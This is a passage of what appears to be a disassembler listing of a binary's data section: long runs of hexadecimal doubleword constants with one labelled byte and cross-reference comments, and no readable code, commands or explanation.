80A95A3Fh, 9627525h, 0E450CDFDh, 0EE5D74A7h, 0E2EF0478h dd 8006BBA0h, 2DCF0F04h, 2E511A00h, 4514C7A4h, 826C0061h dd 0E5F49527h, 7300C8B4h, 0FDFA7F8Dh, 4D300670h, 0F10014BBh dd 81CC1A6Ch, 760444E5h, 0A96AD37Ah, 18730480h, 5989A79h dd 27F25DC3h, 0E0E0047Bh, 0CB62806Bh, 7909037Ch, 78C4C59h dd 1CD15CECh, 0D43034EBh, 0A8E08Ah, 0CDBA627Ch, 6CED8BE4h dd 12231E5Ch, 2005AC6Bh, 9800D5D4h, 211B9FFAh, 0BF4F48DCh dd 5FBFB500h, 66A5F068h, 0CAC63Ah, 0AE8B3609h, 0FC8032h dd 0E6C8F7CDh, 0E2945133h, 5C10213h, 6B8F440h, 6D91FA8h dd 0AAC7D13Bh, 0C19840C3h, 0F0E1CB07h, 0DA13730Ah, 0BCB80EB1h dd 17483C8Bh, 0C820EA03h, 68CBF85Ch, 0A33800D7h, 5253F491h dd 4A00D2E3h, 10A9EB43h, 70BEEA20h, 9FC40134h, 0E1989BF7h dd 92308149h, 3CE46F31h, 6820DDDDh, 17250046h, 9DF5CFD1h dd 0C3645D2Eh, 0A4C1ACB0h, 1880AB06h, 3986BCADh, 0BEFEE66Dh dd 0FD9F858h, 0E15BA454h, 7A19F463h, 82D860h, 68F8BA11h dd 5345E32Ch, 0BE7EAF7Dh, 87938h, 0F68BEB8Eh, 8F85E8h dd 0ED5649E5h, 64C91AB7h, 0F480CD90h, 1826DB8Ah, 0F903F473h dd 0F0CE4021h, 0A1AB35A1h, 7DD8EEC4h, 7130906Dh, 9D7EB0h dd 82394F3Eh, 16831168h, 64F8DA00h, 8727080h, 56FD00C4h dd 66301FDBh, 0C70087E4h, 8ED13FE7h, 886EFAh, 23A8898Ch dd 0F6B5868Bh, 0C51CCCC2h, 918884C1h, 6E50C8h, 9BB3AD04h dd 6B022079h, 0B2920B00h, 6F237AE2h, 0C3F001C7h, 33806E61h dd 0B7F1DCB1h, 79620300h, 10DA8711h, 50A51822h, 6981E064h dd 0F275350Bh, 0A0688E80h, 0D94486FBh, 0F79A07D8h, 60141D8Ch dd 4379E306h, 0C351B600h, 97288B9Dh, 3498A082h, 0AE090015h dd 0A41374AAh, 8900E5EFh, 0FC87128h, 3D507ABEh, 7480B5EEh dd 4EC56F33h, 880931DCh, 0FAAEF2h, 0CA72C850h, 5FE9Fh dd 95F01A87h, 0A69A930h, 0F91D820Ah, 1C0EB09Ch, 760CA745h dd 0FB5E059Fh, 0F488C6C5h, 73D50148h, 28FCE5E9h, 581020AAh dd 0C018A90h, 800D67A5h, 0C4FDF52Fh, 1C2C3F0h, 6CF99EB2h dd 0D00FBDD5h, 4CB18BDFh, 4952C480h, 7A739BD4h, 6C30F1Ah dd 0A9602FA5h, 1CECEE97h, 0CA003675h, 0BE356FC0h, 0DC4557EFh dd 67D58178h, 804CB742h, 5AC9B010h, 745ED48h, 1AB5F558h dd 122AE207h, 0D9388880h, 7089342Fh, 12DB2FCh, 0B50F8EE9h dd 0D4981C4Ah, 94A873F3h, 1804810Bh, 0A6C4E8D2h, 0F1480A0h dd 0BA31D16Eh, 0E9D8E40h, 410AFB68h, 88D06204h, 0C48909Ch dd 0C646810Ah, 3079BF75h, 9E3D2964h, 2C540062h, 915D90E0h dd 0B56603A4h, 0C98FCC59h, 0CB48808Ch, 78B216A1h, 91159B00h dd 38EAA9EFh, 61A70358h, 42F0CB1Bh, 6E7602A0h, 0C5BEAD00h dd 8FFEE14Bh, 0F5DD008Ch, 29550A70h, 5023D17h, 0FF5B5F74h dd 0D9D2E08Dh, 369100B4h, 675C2103h, 9B00C80Ch, 57E487C1h dd 79D5D6Eh, 0CD306910h, 8F99309Ch, 60092E3h, 6586F036h dd 96CA2Bh, 0F7B5E09Fh, 82C8F8F9h, 0C17F0100h, 0D26E2722h dd 94093002h, 41E8D978h, 90FE7976h, 50E0E202h, 6883FF31h dd 0D85148h, 0A0E96EBFh, 2D75ED44h, 8060B93Fh, 74D24BA9h dd 63BAD0h, 337872Ch, 73C0AE2Eh, 303E7E00h, 0B4A4C3F7h dd 8440E51h, 9E2462D0h, 41C0806Bh, 2B0E75A9h, 809CD2D8h dd 20515E6Ah, 9FCB2676h, 8DBC00ECh, 6E331CEFh, 0AA728E01h dd 82E5B090h, 4CE0F020h, 0F80F4D01h, 0EFC0BA1Ch, 0ED263486h dd 0CB52D403h, 0FCDE75h, 0BF398348h, 0C577F4F2h, 0CEEDC400h dd 67CC5B60h, 0E8D660DCh, 136AE243h, 4DB28D39h, 27FE0700h dd 2D40DB39h, 0CE6D8194h, 0F6455EB8h, 5858C3D1h, 167462B8h dd 0EE9F9C01h, 6ECEA46Ch, 0B14F2880h, 0F53852B8h, 8019C600h dd 3AA16F36h, 54B4A00Bh, 479B10EDh, 680526C0h, 2978E441h dd 0A4E969C5h, 7A6F4330h, 167C003Eh, 6B499987h, 0FF094D27h dd 8005CFEDh, 0C0812B70h, 1CD4F320h, 6F960CC9h, 2D886602h dd 0D2991500h, 0A48C5D87h, 72DB0131h, 4C1B84D5h, 0BAE46461h dd 5190A900h, 0DC2D5FCEh, 298901A4h, 225CE1E3h, 0E7D760C7h dd 6485020Ch, 60EC94D0h, 54B84801h, 0FB882EFFh, 73D81276h dd 3EAC40A4h, 280D0768h, 21DE2F16h, 15942442h, 1C247020h dd 0C23E122Bh, 0E4829233h, 984074C2h, 4328727Ch, 4D00F4EEh dd 5CDA6C31h, 1BD6E52h, 5416A6B1h, 0C0992185h, 32FC4B1Bh dd 2309A4Dh, 0DF0B4EDDh, 9801002Dh, 0F441E402h, 0F62AAC0h dd 0DF7DA7A4h, 8AC1A61h, 0DAD8CF5Eh, 0DB003FCFh, 18A76B71h dd 78A0D6D4h, 3E670011h, 0B4EAC1E1h, 38F40D3Dh, 6DB1CB02h dd 9F8717h, 0F5F6020h, 488FB899h, 803A0A3h, 1C09812h, 74CF3E2Dh dd 0E01D59ACh, 0EF0CBF0Dh, 303C525Bh, 13A6F476h, 2FC6092h dd 0C8CAAD3Ch, 6C0A0102h, 0D22C02E4h, 8747C5Ah, 9A43A4A2h dd 0C055D761h, 0B4A0A86Fh, 0C1023A7Ch, 6412FE59h, 2CB1E060h dd 503E00FAh, 0C4DD24CDh, 0E1006745h, 4C33C5AFh, 97E5BDFh dd 11D6764Dh, 89CCCC1h, 8F921813h, 61AE7082h, 1DE8DC54h dd 45020E00h, 3F9FE937h, 950B0007h, 7258FA1Eh, 0C01D9046h dd 561FA155h, 0F0C38540h, 33FE68Ch, 0B751EDB4h, 1909D46h dd 0D6F49C0Eh, 5950B209h, 0E5E861A2h, 3C006023h, 0A82E71B0h dd 8A1C1C32h, 44807D72h, 64C5197Fh, 766E0F63h, 0CBAFA0A6h dd 51D33D20h, 8502F528h, 529E8118h, 0F9B88068h, 75D06AAh dd 0A6DAE5D5h, 4EEA1088h, 0E1485136h, 8E8309E7h, 734E8094h dd 0E493BED9h, 86A20184h, 9A015017h, 0AC8FFC45h, 0FEEF4B00h dd 25CFF44Fh, 34F284h, 9C5A65C8h, 401C0899h, 7AF0E81Bh dd 0E782BBD0h, 57C9B5F1h, 0E28AC02Fh, 3C00A783h, 9911F14Eh dd 0DDB28293h, 0F7D20098h, 506EAE17h, 26007EF0h, 0A83913FBh dd 501D93Fh, 0D5445386h, 0EAF300C3h, 912E5754h, 0BEFAF102h dd 6CD4CF67h, 509A00h, 719BD0E9h, 0C084ECE0h, 403B92Eh dd 0CC044A3Bh, 6F00991Ah, 0F36608B6h, 4ED3D012h, 78103852h dd 929600F8h, 0D18CF145h, 3C4F20h, 77AC53DCh, 92988136h dd 147130A0h, 3EE44858h, 139B0F97h, 9E8EA091h, 0E700D4Dh dd 0D5673E9Dh, 2FBC6221h, 0C64424BDh, 4993069h, 34D03341h dd 0F079C8B4h, 0E274FCh, 4024550Bh, 18421432h, 0EAB01004h dd 0D8F41645h, 0D0110752h, 0E5DC4393h, 62A020C1h, 0F1003388h dd 3547D4ADh, 70609D5Ch, 0AC540059h, 1B3A178Eh, 34FCAFFCh dd 6E3D0207h, 0CB6F0F31h, 933422E4h, 0EAF06050h, 0DAA03F2Eh dd 1E05C401h, 724CBC13h, 0F5A41070h, 816AC016h, 0D49F3EC0h dd 91E46CC8h, 9A00617Bh, 3194F105h, 0EB5D64AAh, 74586C72h dd 0E4722884h, 5CA08B04h, 20805B99h, 1DF8B89Eh, 0CE631C72h dd 0BB80CA19h, 6D8793FFh, 482EBD00h, 0A2C6E8B0h, 31422633h dd 2B04007Bh, 0FEFB71B1h, 75C70E07h, 0E1A08A7Fh, 0E30FC88h dd 16332F4Bh, 497403E0h, 382DCBEEh, 90640023h, 3841C863h dd 93004C7Dh, 0F82EA080h, 0B81602E0h, 20C07553h, 285C82B4h dd 7084CCD1h, 837C0F36h, 9D807919h, 0DB8E776Ah, 9A37A31Eh dd 6EADBD01h, 80402965h, 1741FEBCh, 0F157678h, 4DE0CE4Bh dd 77C5EE27h dd 0ECB5D91Ch, 5940FE9Fh, 1FD11988h, 32103B4Bh, 0A3A4F600h dd 2C0681A7h, 0D4628F09h, 0BCC8004Dh, 0E80EFA23h, 0BEDC0ECDh dd 0E494AFF8h, 77FFA500h, 0C31E89E0h, 0A2CF18CEh, 0C09C3D07h dd 0DA39429h, 0F6C0889Eh, 0A82620D1h, 1A70100Fh, 0A61BC0B3h dd 1E7CB15Ah, 4029D467h, 52893671h, 0DAE8C3DFh, 6B02CDE0h dd 0CC88A360h, 587087h, 0FEDF3E86h, 2A3999C4h, 90989B00h dd 0DEDA4AC8h, 0F7713FF2h, 0A7FD4989h, 21F9A980h, 5F035876h dd 0CEA9DCE1h, 0BB02FD37h, 63FE8005h, 0EEDBC0D0h, 3FB31E03h dd 4BCDC46Eh, 0F69080F1h, 704C22B7h, 0BE870288h, 43622A07h dd 189C90F0h, 14317AE2h, 0F88B5898h, 8550B32Eh, 0A42B8FC1h dd 0EE0084E8h, 6E91CB82h, 7FB6CFh, 81DB9555h, 0F98339BFh dd 7304A700h, 0D91FE3C4h, 21D224C3h, 1C0A0E8Ch, 0D5A33B00h dd 0CD003C98h, 7C7A4A75h, 900E2F2Bh, 338300FCh, 0BAE9E8F9h dd 9F044D36h, 0EFFAE739h, 98461680h, 0FDE600C8h, 8B012BD2h dd 0AA13BAD3h, 0A0EDh, 0E6BEEF9Fh, 1C9A70F3h, 0BD88F63Dh dd 0C791B781h, 683FE397h, 53938070h, 677FBCh, 54CEEC06h dd 97F72622h, 4B2C5F09h, 103400A7h, 0BCBB2531h, 0A908290h dd 98689C37h, 0A20029E9h, 247F0EFCh, 24DD54BEh, 9514F0EBh dd 0CD17F0A9h, 0E47C0E9Fh, 663C9380h, 1613621Ah, 6481F2CFh dd 0C0602C0Eh, 808658D3h, 4033DD8Fh, 0FD3AEAC0h, 3900FBFEh dd 0BCADC4E8h, 0E0A0D48Dh, 3A27538h, 0F28723Eh, 0F7F81B27h dd 850F978Fh, 2009689Ch, 3B3E72Ch, 61E20042h, 0D44943F2h dd 69005144h, 1F5422A9h, 4F663055h, 8C3807F4h, 184730FDh dd 3703334Ch, 190746BBh, 0D5F91C15h, 7294C2DCh, 50E231h dd 0E32E38B0h, 0A8A6485Ah, 0B27EA000h, 30044DD1h, 8A98851Ch dd 8B00B1D4h, 8D5FCDBh, 39CBD00Ah, 0E1132739h, 40C1189Dh dd 750B41C0h, 8E8020h, 97C143C8h, 9DF20025h, 2EDE3FD0h dd 0B4A1D708h, 21E6FC64h, 6B00F9FEh, 0FC408C71h, 0FFE2DD3h dd 0BFE561A6h, 7478BEC2h, 0E015B049h, 9498E4B2h, 217E2C00h dd 50EEAD01h, 909B0ADDh, 4849353h, 0E0B22434h, 6871BDACh dd 0F6483A00h, 61CAAEE8h, 5BA7037Eh, 808A5A87h, 0CD960EF9h dd 0D012F40Ch, 97F4E400h, 0FAC6211Bh, 9A55129Fh, 17002CBh dd 0FCE0BEB2h, 0DF413943h, 795C7C4h, 1B7B1230h, 598562B2h dd 0EE09D471h, 573087ABh, 0E6C24AE0h, 0CAD4E5Ch, 0F8C6D838h dd 8CE85326h, 2DC02F02h, 64406001h, 0CAD0B49h, 68008527h dd 470D5ECEh, 7E00C4B0h, 0F141BDF6h, 7BE14A9h, 1A06B3C9h dd 0F8120880h, 0C000CA6h, 36EBD81Ch, 1B0046EAh, 8C1D460h dd 649E4EA9h, 0C06170D9h, 264396E4h, 817410C0h, 13CF675h dd 0B5942B83h, 80426850h, 2A34D360h, 0EC0E87EEh, 564BC0h dd 695803C4h, 0D23AE320h, 0E726017Fh, 8EE048Bh, 6E39F4h dd 6A695579h, 12B1B721h, 0A1E4A500h, 71F3291h, 0AD14011Dh dd 599A3DD2h, 463ED09Dh, 0B573CB18h, 40E34080h, 3894FC65h dd 85E914E1h, 92439C0h, 80951203h, 42198440h, 0F566930Bh dd 0E4F0028h, 48E998A5h, 0E10098A7h, 409E3B13h, 1A76490Bh dd 8831BD05h, 0D80EAB57h, 25A5024Fh, 122C608Eh, 6B984Bh dd 206F9F1Ah, 0E5E22B94h, 0C1CCC48h, 2882F29Bh, 667600EBh dd 0F3A429EAh, 2D03CC71h, 733AB44Ah, 0F4C20057h, 237E478Eh dd 0B894EF7Dh, 8AD1C800h, 1F6E98h, 6FB3AEF1h, 118803Eh dd 0E307C400h, 993D1C79h, 36433DE5h, 0C8FA9800h, 1892295Fh dd 27F42500h, 0E0E7CEE3h, 0EC1209B3h, 5401CBF9h, 38AB4B65h dd 0C958002Ch, 4A54909h, 4FBF1E2Fh, 0B6DC80DEh, 4BA9D067h dd 5CED0700h, 2626F8Ch, 2F8B0054h, 80DC0AEh, 7600E43Ch dd 0EF83E24Eh, 0EB54DAFh, 42322B79h, 75D8A060h, 940749D5h dd 0A820259Fh, 797FC780h, 0B49C011Dh, 0E0326B01h, 17E838E4h dd 6830AF15h, 25AC4950h, 28604077h, 5B00C332h, 0FDB7C5Fh dd 1DDE37AEh, 0AFE174h, 8ACC11F5h, 76124D9Bh, 88C26F2Bh dd 48046A5h, 0E04FB6C4h, 10AC30h, 0A1F51A1Bh, 7AA7BDh dd 0D7496D2h, 8430028Fh, 0D3002490h, 69FF75FDh, 0A0E2A197h dd 0A61FECh, 6B8CBED8h, 29AA04DFh, 0D7352700h, 0DE3AEFDBh dd 212302F6h, 9C840BDAh, 0B9000C51h, 0F9D08FF3h, 0A4802AFh dd 293DB4Ch, 0C727A440h, 86EC0095h, 3B13DA6Ah, 57589FDh dd 3C2CBA7Fh, 0B5C8038Ch, 0AF906257h, 0B30A397Eh, 0E864C25Bh dd 0DC07844Ah, 8B9FB4E0h, 1B9C0094h, 863EAFC3h, 0AD10400Eh dd 0FC405343h, 2765C13Fh, 8642044Ch, 0ACA9EB84h, 0D5182B8h dd 0F3E7604Ah, 7CE37438h, 0EC2CF16Bh, 0D4094F00h, 0AF20E822h dd 0A951F107h, 0A4902459h, 2CD82D2Bh, 1E0097B4h, 6B69C017h dd 2EC4A3Ch, 82123DF8h, 0F00087F7h, 91988970h, 536A00F1h dd 0BE71F6DFh, 223AB316h, 0DA0D01D0h, 0BC0BE24Ch, 4C309BF5h dd 3689C46Ah, 52CC079h, 11098CE8h, 2785E0h, 50BEAA0Ch dd 53970247h, 1232F6E9h, 8C1B0460h, 0D54A700h, 46569557h dd 0C2C901B0h, 6943D128h, 9917204Fh, 9CAD74Ch, 80742FF1h dd 3C7D6F58h, 0B630016h, 12DACE51h, 61079118h, 0FF039C20h dd 65FD2460h, 0AA733Fh, 503AE041h, 474FC363h, 62BBD307h dd 18409E7Bh, 3A9CF2A8h, 0F400B592h, 0F357A5Dh, 540003D5h dd 0AC1722C6h, 2EFEF599h, 3A02623Bh, 0A6346803h, 0EEA0F4D0h dd 0E94CACA8h, 0AD9D003Ch, 0B2C0183Eh, 0C72E7633h, 0B04831E8h dd 809EB9B3h, 0BA1D7300h, 78E49CB4h, 0DCCA3A19h, 6D18F89h dd 0ED80B009h, 911F65B0h, 53F4C900h, 2C92EC37h, 6BD101DAh dd 0B748ABA1h, 14D430C4h, 5ACA3500h, 53A13F9h, 2FD42CDAh dd 7A046034h, 7D0EB708h, 80C48777h, 0BE11E065h, 0D140075h dd 0CD28C0F9h, 0D700531Bh, 0D0F870EFh, 0CCA3CEh, 65E8233h dd 0FFC4D844h, 0AA56C300h, 37DAF9Ah, 0EE88001Eh, 0C93CA572h dd 0F5001F49h, 4D16BB19h, 1F3926D1h, 5E5F0967h, 0DEC9C735h dd 3FDA044h, 83F4E5BEh, 67BAA41Ch, 0A7332503h, 8256C9C8h dd 10909847h, 5F8628h, 0DF3BA998h, 0A3BA241Ch, 38AE9900h dd 0B82A1EDEh, 710A0A1h, 0A0BD002Bh, 0F83DAB9Eh, 160C8004h dd 7105F464h, 0E10E0E8Ah, 1A2052B4h, 1CE465D9h, 6989931Fh dd 0BE093500h, 30AAB62h, 0ADD9B129h, 0A1A09928h, 20C789D3h dd 0B4C0A92Bh, 0DAF3FCh, 785290A3h, 14820AEDh, 4A030BB0h dd 649F20EEh, 0F879DE91h, 0F0817657h, 4634A052h, 0ABD13705h dd 1B4F8120h, 0CD84E1E4h, 0AE28F4BDh, 957D3Ah, 7F821D9Dh dd 14800281h, 68F26414h, 28748814h, 65D11E01h, 0D0311A9Ah dd 9E151CE3h, 46C7089h, 992905FEh, 24800800h, 6E83113h dd 8098263Eh, 7AA949A1h, 0B6AE7Dh, 770A335Bh, 765E95E6h dd 1A10C100h, 55180D78h, 0DDDE01B4h, 0E6928C52h, 0E7ED30C8h dd 0EB6B7400h, 679B0833h, 947524h, 51A77125h, 0B4DFF8ABh dd 1A320430h, 1010C11h, 0DBE4CA7Eh, 0ECC13812h, 15075ABDh dd 0D4E74340h, 0CEDEBF00h, 0B1F60F0Dh, 48A0EDD3h, 0D616A3D0h dd 3D3C3100h, 0D56AEFC1h, 5B270F60h, 0C9A0710Eh, 0FDF91EEh dd 803E293Ch, 1384AB1h, 79A9728Bh, 889003Dh, 0CD9C2EF8h dd 6500E504h, 0DF511297h, 5C1CD424h, 84302EAAh, 0A2212D92h dd 67E9D4A8h, 42F44Ch, 0EA08071Bh, 0E0816Dh, 0BB31F92Eh dd 5DF34F86h, 0C0FD9814h dd 25E500BCh, 0DF991F9Ch, 7F0F00A0h, 0CDD8324h, 0CE399A34h dd 5B31818Bh, 9C166496h, 6177FFCCh, 3E7E7083h, 1BE050E3h dd 9800D391h, 309AC158h, 1E3C6022h, 80BC1912h, 26BEEDE6h dd 4B007099h, 0A61A945Bh, 6D90389h, 0FC4E6BCFh, 10009137h dd 0A95733DAh, 8E462Ch, 0FD308070h, 51CEEDB5h, 0A7153Ch dd 0E42B5BFAh, 0C8DD27h, 0A81B71A1h, 3CBE7FE3h, 4C48420Fh dd 0F72E8008h, 3590D88h, 5590C8B3h, 75B1CE13h, 5D9BF31Bh dd 0A4641901h, 8DCD42Dh, 0C2E40AF0h, 66B296D9h, 5D62684Ah dd 5FDFB420h, 7B001D77h, 8C548D31h, 18729F42h, 0C9D9FC93h dd 0B60038B3h, 0ADD17643h, 0E8C0632Fh, 0D79D0185h, 7FA90457h dd 0BE518E2Dh, 310EC0FCh, 180AE6h, 1C5A15F0h, 63B8930Bh dd 50000DECh, 7A857702h, 0F26F680h, 1DC413DBh, 4BD00440h dd 530EF9CAh, 60DFBE0Dh, 0DC6F5752h, 78D91F69h, 46B600CFh dd 0A6E854Dh, 6F01B080h, 0B07584Fh, 0E0ACE0D9h, 8E0E4A32h dd 0C0094067h, 0AAC0E270h, 16FA035Ah, 9E8C12DEh, 0F38191A8h dd 69B63Ch, 0D4583D30h, 0F0611DD9h, 60FB18DCh, 0AB0E10E0h dd 0B6B847F2h, 0D0AD3700h, 2BCC224Ch, 61C73EF6h, 8A364E00h dd 87B462E9h, 0D9385101h, 84579621h, 0C40960h, 0AB712E6Eh dd 62FC7F67h, 0CB086A60h, 0B27D4BDh, 32EBF0FBh, 8E837A80h dd 7518A654h, 0A30CB1Eh, 7210087h, 17FD0D5Dh, 0D930622Bh dd 0F524071h, 20DE0109h, 0C68D1F0Eh, 9EB1F84Eh, 37E5A03h dd 0E83F17B8h, 56B514h, 5D4C7479h, 82A73BC3h, 2C24347Dh dd 63AEC8Fh, 0BA51F326h, 150100ACh, 0BBC26A1Eh, 0F60025CEh dd 797F0355h, 0FD258B1h, 3487A735h, 0F0407BA0h, 1E00A44Dh dd 0F634FFCh, 76F488h, 28BC6498h, 0B94362D0h, 0C7543300h dd 759C8C77h, 85F411h, 0A6ED19D6h, 0F2D005C4h, 32008D90h dd 267BF4B3h, 5BC9FCh, 87DAD201h, 5CD95EEEh, 0D117590Bh dd 0BDA3004Fh, 0C07DEAh, 108B12E3h, 3D31460Fh, 6C08FA00h dd 0BE3A279Bh, 0D318008Fh, 5E4E90B0h, 0B303AC8Eh, 6F3D3241h dd 36292174h, 90958408h, 0A6284D8h, 14420248h, 0ACF42177h dd 0C190140h, 1A117E12h, 22846008h, 0A42098Ch, 2168E811h dd 0F80089Ch, 4FBD4688h, 4882131h, 86B6357h, 399F52h, 16B22AA1h dd 0C600DFBFh, 482CAF31h, 76E6BD9Fh, 2DAE00C7h, 0AD296B4Bh dd 3B001568h, 28451C1Dh, 0AB4A9h, 24C32BAFh, 6D536E8h dd 99C11F03h, 0C817DE57h, 303320h, 8BBD97B4h, 9359B952h dd 98EB2A00h, 0E4F0D17Ch, 5120135Ah, 0F309FAE8h, 0C83A809Ch dd 0A5DAC7h, 0B6B34946h, 427A00Dh, 0AC895000h, 2A29F056h dd 31A8004Fh, 0E5B7D979h, 4D1E120Fh, 580EC1E6h, 0F05300A2h dd 5E4932h, 0FFD38454h, 7BE02746h, 862D6C0Ch, 6910FCh dd 0C1B76748h, 255EF728h, 0D01CF91Fh, 806FC74Bh, 85A484CEh dd 1A460018h, 4F64A04Ch, 0DA0079C5h, 9924F119h, 3CF5373Eh dd 55005F14h, 1E57E273h, 0EE0F5E86h, 38953C19h, 2B7D3C8h dd 4B633050h, 0EF608F88h, 0FB0068DFh, 72FCA097h, 0C0E12AE5h dd 0F8DAC098h, 590CFEDEh, 0D0F44D10h, 0C5EF0095h, 4BED6D31h dd 141872F5h, 23A1EA3Bh, 0D45100D2h, 0B1385C3Ah, 0AE006DB7h dd 32990973h, 0EE1D3Eh, 0A9191CFAh, 0F03CBA45h, 2B8B6800h dd 0F80EC2CBh, 267FA64h, 0D8C15C81h, 5CC033EAh, 6C0330D0h dd 62A8BCDh, 7E03F8DCh, 5B1E00DFh, 283FB5E8h, 7A01A3F2h dd 6C51F583h, 0E0F2AC5Fh, 1CD38964h, 17AD979Bh, 19050FB6h dd 3A48FE00h, 0C900F1F0h, 27A1EEF2h, 5C8065h, 53E609B0h dd 83EB28B2h, 948EB800h, 87E20345h, 0EF16004Dh db 0A6h byte_520045 db 2Fh, 0AAh, 77h ; DATA XREF: ___:00437DC8o ; ___:00437DE0o dd 100E1201h, 20EE2A20h, 94BF113Dh, 0A74801A4h, 1E5ED829h dd 4067CD79h, 59BE5490h, 3EC9A200h, 0B5BDB734h, 0CFA40F27h dd 0C0DF3543h, 32A526B4h, 850F0192h, 0A7503D23h, 21036D52h dd 4344E8C0h, 906C1CBCh, 1D24FEA7h, 37AF0778h, 3E1B203Fh dd 0A900465Dh, 7A9DB320h, 0E00DEEh, 8AC91361h, 0A5185C83h dd 0A296D900h, 0C80852B5h, 78320305h, 7BAAFED8h, 1D40FCA0h dd 51992B03h, 907A57F9h, 2CF1DB7Ch, 36E841h, 86FC123Fh dd 6F7B7D69h, 1F714213h, 48A06C00h, 0F5784Eh, 71C1EDDh dd 724BA114h, 9FECBE00h, 0B38C305Ch, 88700033h, 65BDF09Ch dd 0F0085D4h, 0C3588BC4h, 0FF191D8h, 0F8EB155Fh, 0E90A5E20h dd 860EAAEDh, 80325A30h, 0BE991E56h, 0DEF0052h, 0A3CD82FAh dd 6D0065F2h, 955C8439h, 2FB664h, 96EB177Fh, 5047E04Dh dd 848D6E00h, 63C77556h, 0C2713E44h, 3BE50076h, 0A69EBE97h dd 22029990h, 815786D8h, 0B4E0A07Eh, 42B99Bh, 17B75EEBh dd 4486159Dh, 0D463E100h, 0B9149E1Eh, 1EEFEC45h, 8EC125A1h dd 0E4795B0h, 92ED71A3h, 0C9AD424h, 4E47F304h, 4F021ACEh dd 8820DF96h, 131222Ah, 0B6FEF683h, 24AB018Dh, 0C91E29ACh dd 7D0E0BC4h, 236AA0BFh, 1306B741h, 40ADECEBh, 0AC2EC760h dd 0AF1E445Fh, 0D4405422h, 0A063D546h, 68F9008Fh, 21CE65E8h dd 0CD1D168Ch, 0BD80A17Ch, 0F1765C91h, 0E07111h, 8A0533DBh dd 209B4259h, 0D6DD5E00h, 0D3574C44h, 76231C94h, 7C09FEDFh dd 0B8008F9Ah, 95CF5506h, 5DBE4000h, 173A3078h, 103F601Ch dd 8AB906F0h, 0AA216B01h, 88EAE922h, 3F336030h, 91801864h dd 0F9EF7A6Ch, 6DE617EDh, 9FFCE707h, 18405D4Eh, 46BBB7h dd 2F32A14Fh, 50A49034h, 0B14ED800h, 7845F1B3h, 706F4B2h dd 4984F6DAh, 60B7B0DCh, 0EFF26210h, 708C5700h, 77AE79A6h dd 4F6601B1h, 0B367F3B9h, 2CAA8032h, 0F5825549h, 5B7400F0h dd 783CFA3Eh, 0FEFC1156h, 96897600h, 48EDDFD9h, 98F2022Ah dd 0A292BB1Bh, 0F80095C2h, 0B2CC179Eh, 3C5F4603h, 0E8018A39h dd 1CC75B4Dh, 40F91604h, 8532721Eh, 1A00D019h, 13B0DF03h dd 0F2305Fh, 0A5E10D24h, 89335E0Eh, 3E00F1B8h, 4E8EC8B7h dd 3A91BCh, 8D09CF12h, 342068DAh, 0D8212C00h, 0B02DBA0Fh dd 245D7EBBh, 0FC816F4h, 2A409FC1h, 7A938464h, 0EC357800h dd 0CE1D8A81h, 89C71F70h, 1EDCDD6Dh, 163C00ABh, 0D668D4C8h dd 44D5C216h, 0F0511300h, 0BF325Eh, 0F51774E4h, 375CA803h dd 7E97DD07h, 530A9CCh, 1C322656h, 40C0CFC2h, 0B6246A93h dd 8A28FC2Eh, 7C00E5DEh, 0EB2CDDB2h, 79516F1h, 0AECD868h dd 0BA3F50E5h, 0CC005C82h, 6B6C3814h, 12843D5Bh, 2FC1DAh dd 0EE796AC4h, 0CC07E082h, 1FAA9675h, 99FB5D40h, 265701DEh dd 0DB250877h, 0B470300Ch, 6D118B00h, 0F15BF835h, 9D0A007Eh dd 1462FCA1h, 78B0A8C0h, 0A5DF3100h, 8C5A9510h, 355E3C1Ah dd 54EB909Fh, 4903EC15h, 25610B48h, 45856E88h, 0B20672FAh dd 0B49F2A6Bh, 28EE064h, 6486F420h, 0C0647C63h, 0BA709D80h dd 7E003771h, 0E24F2DE3h, 3BF2Ah, 8BE22C5h, 0BA780B0Ch dd 0D90D9905h, 1E805E3Dh, 0E1957Eh, 0C22C696Bh, 9F2DCA25h dd 0E97FFA00h, 383B3668h, 1E11145Eh, 0B0449CBFh, 16C600E7h dd 981D2EBh, 0F705C992h, 0B714049Fh, 4AB107C0h, 68E4EAh dd 0C2D35AE3h, 4D1784FEh, 0C9E98000h, 0C6C0C7F5h, 0A7E1008Bh dd 4902231h, 86004632h, 0C7317ADh, 1AC64D1h, 1AF4F5F2h dd 0E0E9F924h, 0CC9870F8h, 0E40038ECh, 36FB629Ch, 60D635h dd 0C1673F93h, 0C285E32Ah, 0D8E82950h, 36AD2B03h, 0EFB09AB6h dd 0E0AB2DC3h, 80139Ch, 0DA38D3CAh, 8C0FB729h, 0F24E0924h dd 1AC5C100h, 9895BCh, 0EF2FA8C6h, 3912EC18h, 0AC98F975h dd 33DA6302h, 0E0E9C955h, 39C4BF0h, 85E7538Bh, 0AFF877D9h dd 0BEB006AAh, 0B9C24600h, 48F36752h, 3389436h, 69A642C5h dd 0B0A6288h, 0FF79C700h, 475C7A71h, 7F90ACh, 92A1F0B0h dd 0D122BD2Fh, 81072A39h, 4FEB1417h, 8A3006F4h, 0CD872C6h dd 2B594197h, 0B34CBCF8h, 0A6313F85h, 0B000D83Ch, 1E37AC2Fh dd 4566003Dh, 0CAAD2EABh, 2D06A9E7h, 9DB896E9h, 352900F1h dd 42AB2C89h, 0AF2668A4h, 0F8302754h, 4A975ED7h, 0B6803035h dd 0AF0EC60Eh, 1C7680h, 10255774h, 14650066h, 0A077FDE3h dd 96003D61h, 8978CBF2h, 19BEEDh, 157CFAAAh, 834BEC26h dd 6BB9B200h, 635896E3h, 0C4E800DCh, 0B4E2AB33h, 5903C686h dd 2AAF240Ch, 8D1803C7h, 2B30C0FBh, 0DD5C5275h, 0D13F00E8h dd 8FDEAFA4h, 6D4A00F5h, 9C5EFDAh, 8100E5A0h, 20089D53h dd 4874FF2h, 4B8F36B2h, 5471C097h, 8E009A27h, 33BEDBE6h dd 3BC74A06h, 0B8030A3h, 0A8260FBh, 0D3C4617h, 14198066h dd 0C8E5C44Dh, 7B4B061h, 9EA8B712h, 25439099h, 0BB004745h dd 0DCC795DAh, 1985F7Dh, 530405F7h, 2B50D169h, 3E948CA0h dd 6E30CA70h, 11234E88h, 0BC3B1500h, 0E2FD8B5Fh, 47A303CEh dd 0FC0CB79Dh, 49A11007h, 0EE70A267h, 8C2C6Dh, 0D4738F42h dd 7A87655h, 6EAEC8A8h, 0ED1140h, 9EAACE3Bh, 251B5D4h dd 0FFF3705h, 0D980866Ch, 25D25FB8h, 7878A3AFh, 2AEE7000h dd 8D132F8Bh, 85A90004h, 0E2C6B814h, 0A0008EADh, 0F3B6DD4h 